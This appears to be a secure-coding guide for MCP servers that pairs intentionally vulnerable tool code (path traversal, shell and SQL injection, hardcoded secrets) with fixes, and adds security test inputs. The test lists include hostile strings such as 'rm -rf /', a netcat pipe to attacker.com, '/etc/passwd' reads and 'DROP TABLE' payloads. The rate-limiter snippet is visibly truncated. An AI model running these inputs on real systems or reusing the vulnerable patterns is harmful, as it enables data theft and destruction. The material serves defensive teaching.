## Common Vulnerabilities in MCP Servers
|
|
|
|
### 1. Path Traversal
|
|
|
|
**Vulnerability:**
|
|
```python
|
|
# VULNERABLE: No path sanitization
|
|
@mcp.tool()
|
|
def read_file(path: str) -> dict:
|
|
with open(path, 'r') as f:
|
|
return {"content": f.read()}
|
|
|
|
# Attack: path = "../../../../etc/passwd"
|
|
```
|
|
|
|
**Secure Implementation:**
|
|
```python
|
|
from pathlib import Path
|
|
|
|
@mcp.tool()
|
|
def read_file(path: str) -> dict:
|
|
"""Securely read file with path validation."""
|
|
# Define allowed base directory
|
|
base_dir = Path("/safe/data/directory").resolve()
|
|
|
|
# Resolve and validate path
|
|
try:
|
|
file_path = (base_dir / path).resolve()
|
|
|
|
# Ensure path is within base directory
|
|
file_path.relative_to(base_dir)
|
|
|
|
except (ValueError, RuntimeError):
|
|
return {
|
|
"success": False,
|
|
"error": "Access denied: Invalid path"
|
|
}
|
|
|
|
# Additional checks
|
|
if not file_path.exists():
|
|
return {"success": False, "error": "File not found"}
|
|
|
|
if not file_path.is_file():
|
|
return {"success": False, "error": "Not a file"}
|
|
|
|
try:
|
|
with open(file_path, 'r') as f:
|
|
return {"success": True, "content": f.read()}
|
|
except Exception as e:
|
|
return {"success": False, "error": "Read failed"}
|
|
```
|
|
|
|
**TypeScript Secure Implementation:**
|
|
```typescript
|
|
import * as path from 'path';
|
|
import * as fs from 'fs/promises';
|
|
|
|
const BASE_DIR = path.resolve('/safe/data/directory');
|
|
|
|
async function readFile(filePath: string): Promise<object> {
|
|
// Resolve absolute path
|
|
const absolutePath = path.resolve(BASE_DIR, filePath);
|
|
|
|
// Ensure path is within base directory
|
|
if (!absolutePath.startsWith(BASE_DIR)) {
|
|
return {
|
|
success: false,
|
|
error: 'Access denied: Invalid path'
|
|
};
|
|
}
|
|
|
|
try {
|
|
const stats = await fs.stat(absolutePath);
|
|
|
|
if (!stats.isFile()) {
|
|
return { success: false, error: 'Not a file' };
|
|
}
|
|
|
|
const content = await fs.readFile(absolutePath, 'utf-8');
|
|
return { success: true, content };
|
|
|
|
} catch (error) {
|
|
return { success: false, error: 'Read failed' };
|
|
}
|
|
}
|
|
```
|
|
|
|
### 2. Command Injection
|
|
|
|
**Vulnerability:**
|
|
```python
|
|
# VULNERABLE: Direct command execution
|
|
import subprocess
|
|
|
|
@mcp.tool()
|
|
def run_command(command: str) -> dict:
|
|
result = subprocess.run(
|
|
command,
|
|
shell=True, # DANGEROUS!
|
|
capture_output=True
|
|
)
|
|
return {"output": result.stdout.decode()}
|
|
|
|
# Attack: command = "ls; rm -rf /"
|
|
```
|
|
|
|
**Secure Implementation:**
|
|
```python
|
|
import subprocess
|
|
import shlex
|
|
|
|
# Whitelist allowed commands
|
|
ALLOWED_COMMANDS = {
|
|
"list": ["ls", "-la"],
|
|
"check": ["git", "status"],
|
|
"test": ["pytest", "--verbose"]
|
|
}
|
|
|
|
@mcp.tool()
|
|
def run_command(command_name: str, args: list[str] = None) -> dict:
|
|
"""Securely execute whitelisted commands."""
|
|
|
|
# Validate command
|
|
if command_name not in ALLOWED_COMMANDS:
|
|
return {
|
|
"success": False,
|
|
"error": f"Command not allowed: {command_name}"
|
|
}
|
|
|
|
# Get base command
|
|
command = ALLOWED_COMMANDS[command_name].copy()
|
|
|
|
# Validate and sanitize arguments
|
|
if args:
|
|
for arg in args:
|
|
# Reject dangerous characters
|
|
if any(c in arg for c in [';', '|', '&', '$', '`', '\n']):
|
|
return {
|
|
"success": False,
|
|
"error": "Invalid characters in arguments"
|
|
}
|
|
command.append(arg)
|
|
|
|
try:
|
|
result = subprocess.run(
|
|
command,
|
|
shell=False, # IMPORTANT: Never use shell=True
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=10
|
|
)
|
|
|
|
return {
|
|
"success": True,
|
|
"output": result.stdout,
|
|
"return_code": result.returncode
|
|
}
|
|
|
|
except subprocess.TimeoutExpired:
|
|
return {"success": False, "error": "Command timeout"}
|
|
except Exception as e:
|
|
return {"success": False, "error": "Execution failed"}
|
|
```
|
|
|
|
### 3. SQL Injection
|
|
|
|
**Vulnerability:**
|
|
```python
|
|
# VULNERABLE: String concatenation
|
|
@mcp.tool()
|
|
def search_users(username: str) -> dict:
|
|
query = f"SELECT * FROM users WHERE username = '{username}'"
|
|
results = database.execute(query)
|
|
return {"users": results}
|
|
|
|
# Attack: username = "admin' OR '1'='1"
|
|
```
|
|
|
|
**Secure Implementation:**
|
|
```python
|
|
import asyncpg
|
|
from typing import List, Dict
|
|
|
|
@mcp.tool()
|
|
async def search_users(username: str) -> dict:
|
|
"""Securely search users with parameterized queries."""
|
|
|
|
# Input validation
|
|
if not username or len(username) > 50:
|
|
return {
|
|
"success": False,
|
|
"error": "Invalid username"
|
|
}
|
|
|
|
# Reject special characters if not needed
|
|
if not username.replace('_', '').replace('-', '').isalnum():
|
|
return {
|
|
"success": False,
|
|
"error": "Username contains invalid characters"
|
|
}
|
|
|
|
try:
|
|
# Use parameterized query (IMPORTANT)
|
|
query = "SELECT id, username, email FROM users WHERE username = $1"
|
|
results = await db_pool.fetch(query, username)
|
|
|
|
# Return only safe fields (don't expose passwords, etc.)
|
|
users = [
|
|
{
|
|
"id": row["id"],
|
|
"username": row["username"],
|
|
"email": row["email"]
|
|
}
|
|
for row in results
|
|
]
|
|
|
|
return {"success": True, "users": users}
|
|
|
|
except Exception as e:
|
|
# Don't expose database errors to user
|
|
logger.error(f"Database error: {e}")
|
|
return {
|
|
"success": False,
|
|
"error": "Search failed"
|
|
}
|
|
```
|
|
|
|
**TypeScript Secure Implementation:**
|
|
```typescript
|
|
import { z } from 'zod';
|
|
|
|
const UsernameSchema = z.string()
|
|
.min(1)
|
|
.max(50)
|
|
.regex(/^[a-zA-Z0-9_-]+$/, 'Invalid username characters');
|
|
|
|
async function searchUsers(username: unknown): Promise<object> {
|
|
// Validate input
|
|
try {
|
|
const validUsername = UsernameSchema.parse(username);
|
|
|
|
// Parameterized query (library-specific)
|
|
const query = 'SELECT id, username, email FROM users WHERE username = ?';
|
|
const results = await db.query(query, [validUsername]);
|
|
|
|
return {
|
|
success: true,
|
|
users: results.map(row => ({
|
|
id: row.id,
|
|
username: row.username,
|
|
email: row.email
|
|
}))
|
|
};
|
|
|
|
} catch (error) {
|
|
if (error instanceof z.ZodError) {
|
|
return { success: false, error: 'Invalid username' };
|
|
}
|
|
|
|
// Log but don't expose details
|
|
console.error('Database error:', error);
|
|
return { success: false, error: 'Search failed' };
|
|
}
|
|
}
|
|
```
|
|
|
|
### 4. API Key Exposure
|
|
|
|
**Vulnerability:**
|
|
```python
|
|
# VULNERABLE: Hardcoded secrets
|
|
GITHUB_TOKEN = "ghp_1234567890abcdefghijklmnopqrstuvwxyz"
|
|
|
|
@mcp.tool()
|
|
def create_issue(repo: str, title: str) -> dict:
|
|
headers = {"Authorization": f"token {GITHUB_TOKEN}"}
|
|
# ... API call
|
|
```
|
|
|
|
**Secure Implementation:**
|
|
```python
|
|
import os
|
|
from pydantic_settings import BaseSettings
|
|
from functools import lru_cache
|
|
|
|
class Settings(BaseSettings):
|
|
"""Secure settings management."""
|
|
github_token: str
|
|
api_key: str
|
|
|
|
class Config:
|
|
env_file = ".env"
|
|
case_sensitive = False
|
|
|
|
def __init__(self, **kwargs):
|
|
super().__init__(**kwargs)
|
|
# Validate secrets are present
|
|
if not self.github_token:
|
|
raise ValueError("GITHUB_TOKEN not configured")
|
|
|
|
@lru_cache()
|
|
def get_settings() -> Settings:
|
|
return Settings()
|
|
|
|
@mcp.tool()
|
|
def create_issue(repo: str, title: str, body: str) -> dict:
|
|
"""Create issue with secure token management."""
|
|
settings = get_settings()
|
|
|
|
headers = {
|
|
"Authorization": f"token {settings.github_token}",
|
|
"Accept": "application/vnd.github.v3+json"
|
|
}
|
|
|
|
try:
|
|
response = requests.post(
|
|
f"https://api.github.com/repos/{repo}/issues",
|
|
json={"title": title, "body": body},
|
|
headers=headers,
|
|
timeout=10
|
|
)
|
|
|
|
# Don't log tokens
|
|
logger.info(f"Created issue in {repo}")
|
|
|
|
return {
|
|
"success": True,
|
|
"issue_number": response.json()["number"]
|
|
}
|
|
|
|
except Exception as e:
|
|
# Don't expose token in errors
|
|
logger.error(f"Failed to create issue: {type(e).__name__}")
|
|
return {"success": False, "error": "API call failed"}
|
|
```
|
|
|
|
### 5. Information Disclosure in Errors
|
|
|
|
**Vulnerability:**
|
|
```python
|
|
# VULNERABLE: Exposing internal details
|
|
@mcp.tool()
|
|
def process_data(data: str) -> dict:
|
|
try:
|
|
result = complex_processing(data)
|
|
return {"result": result}
|
|
except Exception as e:
|
|
# Exposing stack traces, file paths, secrets
|
|
return {
|
|
"error": str(e),
|
|
"traceback": traceback.format_exc()
|
|
}
|
|
```
|
|
|
|
**Secure Implementation:**
|
|
```python
|
|
import logging
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
@mcp.tool()
|
|
def process_data(data: str) -> dict:
|
|
"""Process data with secure error handling."""
|
|
|
|
try:
|
|
# Validate input
|
|
if not data or len(data) > 10000:
|
|
return {
|
|
"success": False,
|
|
"error": "Invalid input length"
|
|
}
|
|
|
|
result = complex_processing(data)
|
|
|
|
return {
|
|
"success": True,
|
|
"result": result
|
|
}
|
|
|
|
except ValueError as e:
|
|
# User error - safe to expose
|
|
return {
|
|
"success": False,
|
|
"error": f"Validation error: {str(e)}"
|
|
}
|
|
|
|
except Exception as e:
|
|
# Internal error - log but don't expose details
|
|
logger.error(
|
|
"Processing failed",
|
|
exc_info=True,
|
|
extra={"data_length": len(data)}
|
|
)
|
|
|
|
return {
|
|
"success": False,
|
|
"error": "Processing failed",
|
|
"error_id": generate_error_id() # For support lookup
|
|
}
|
|
```
|
|
|
|
### 6. Insufficient Rate Limiting
|
|
|
|
**Vulnerability:**
|
|
```python
|
|
# VULNERABLE: No rate limiting
|
|
@mcp.tool()
|
|
def expensive_operation(param: str) -> dict:
|
|
# CPU/memory intensive operation
|
|
result = complex_calculation(param)
|
|
return {"result": result}
|
|
|
|
# Attack: Call tool 10000 times rapidly
|
|
```
|
|
|
|
**Secure Implementation:**
|
|
```python
|
|
from collections import defaultdict
|
|
from datetime import datetime, timedelta
|
|
from functools import wraps
|
|
|
|
class RateLimiter:
|
|
"""Rate limiter for tool calls."""
|
|
|
|
def __init__(self, max_calls: int, window_seconds: int):
|
|
self.max_calls = max_calls
|
|
self.window = timedelta(seconds=window_seconds)
|
|
self.calls = defaultdict(list)
|
|
|
|
def is_allowed(self, key: str) -> bool:
|
|
"""Check if call is allowed."""
|
|
now = datetime.now()
|
|
|
|
# Remove old calls
|
|
self.calls[key] = [

|
|
if now - call_time < self.window
|
|
]
|
|
|
|
# Check limit
|
|
if len(self.calls[key]) >= self.max_calls:
|
|
return False
|
|
|
|
self.calls[key].append(now)
|
|
return True
|
|
|
|
# Global rate limiter: 10 calls per minute
|
|
rate_limiter = RateLimiter(max_calls=10, window_seconds=60)
|
|
|
|
def rate_limit(key: str = "global"):
|
|
"""Rate limiting decorator."""
|
|
def decorator(func):
|
|
@wraps(func)
|
|
async def wrapper(*args, **kwargs):
|
|
if not rate_limiter.is_allowed(key):
|
|

"error": "Rate limit exceeded. Please try again later."
|
|
}
|
|

|
"""Rate-limited expensive operation."""
|
|
result = await complex_calculation(param)
|
|
return {"success": True, "result": result}
|
|
```

### Manual Security Testing
|
|
|
|
**Test Cases:**
|
|
|
|
1. **Path Traversal:**
|
|
```python
|
|
# Test with malicious paths
|
|
test_paths = [
|
|
"../../../etc/passwd",
|
|
"..\\..\\..\\windows\\system32\\config\\sam",
|
|
"/etc/passwd",
|
|
"C:\\Windows\\System32\\config\\SAM"
|
|
]
|
|
|
|
for path in test_paths:
|
|
result = await mcp.call_tool("read_file", {"path": path})
|
|
assert result["success"] is False
|
|
```
|
|
|
|
2. **Command Injection:**
|
|
```python
|
|
# Test with command injection attempts
|
|
malicious_commands = [
|
|
"test; rm -rf /",
|
|
"test && cat /etc/passwd",
|
|
"test | nc attacker.com 4444",
|
|
"test `whoami`"
|
|
]
|
|
|
|
for cmd in malicious_commands:
|
|
result = await mcp.call_tool("run_command", {"command": cmd})
|
|
assert result["success"] is False
|
|
```
|
|
|
|
3. **SQL Injection:**
|
|
```python
|
|
# Test with SQL injection attempts
|
|
malicious_inputs = [
|
|
"admin' OR '1'='1",
|
|
"'; DROP TABLE users; --",
|
|
"admin' UNION SELECT * FROM passwords--"
|
|
]
|
|
|
|
for username in malicious_inputs:
|
|
result = await mcp.call_tool("search_user", {"username": username})
|
|
# Should not return unauthorized data or error with SQL details
|
|
```
|
|

### Critical Vulnerabilities (Address Immediately)
|
|
|
|
#### 1. [Vulnerability Name]
|
|
|
|
**Severity**: Critical
|
|
**Location**: `src/tools/filesystem.py:45`
|
|
**Description**: Path traversal vulnerability allows access to arbitrary files
|
|
|
|
**Vulnerable Code:**
|
|
```python
|
|
def read_file(path: str):
|
|
with open(path, 'r') as f:
|
|
return f.read()
|
|
```
|
|
|
|
**Impact**: Attackers can read sensitive files like /etc/passwd, credentials, etc.
|
|
|
|
**Recommendation**: Implement path sanitization and restrict to safe directory
|
|
|
|
**Fixed Code:**
|
|
```python
|
|
from pathlib import Path
|
|
|
|
BASE_DIR = Path("/safe/directory").resolve()
|
|
|
|
def read_file(path: str):
|
|
file_path = (BASE_DIR / path).resolve()
|
|
file_path.relative_to(BASE_DIR) # Raises error if outside BASE_DIR
|
|
with open(file_path, 'r') as f:
|
|
return f.read()
|
|
```

1. **Never Trust User Input**: Validate and sanitize everything
|
|
2. **Principle of Least Privilege**: Minimize permissions and access
|
|
3. **Defense in Depth**: Multiple layers of security
|
|
4. **Fail Securely**: Errors should not expose sensitive information
|
|
5. **Keep Dependencies Updated**: Regular security updates
|
|
6. **Log Security Events**: Monitor for suspicious activity
|
|
7. **Use Environment Variables**: Never hardcode secrets
|
|
8. **Validate Output**: Don't expose internal details
|
|
9. **Rate Limit**: Prevent abuse and DoS
|
|
10. **Regular Security Reviews**: Continuous security improvement
|
|
|
|
Remember: Security is not a feature, it's a requirement. Every MCP server must be secure by design, not as an afterthought.
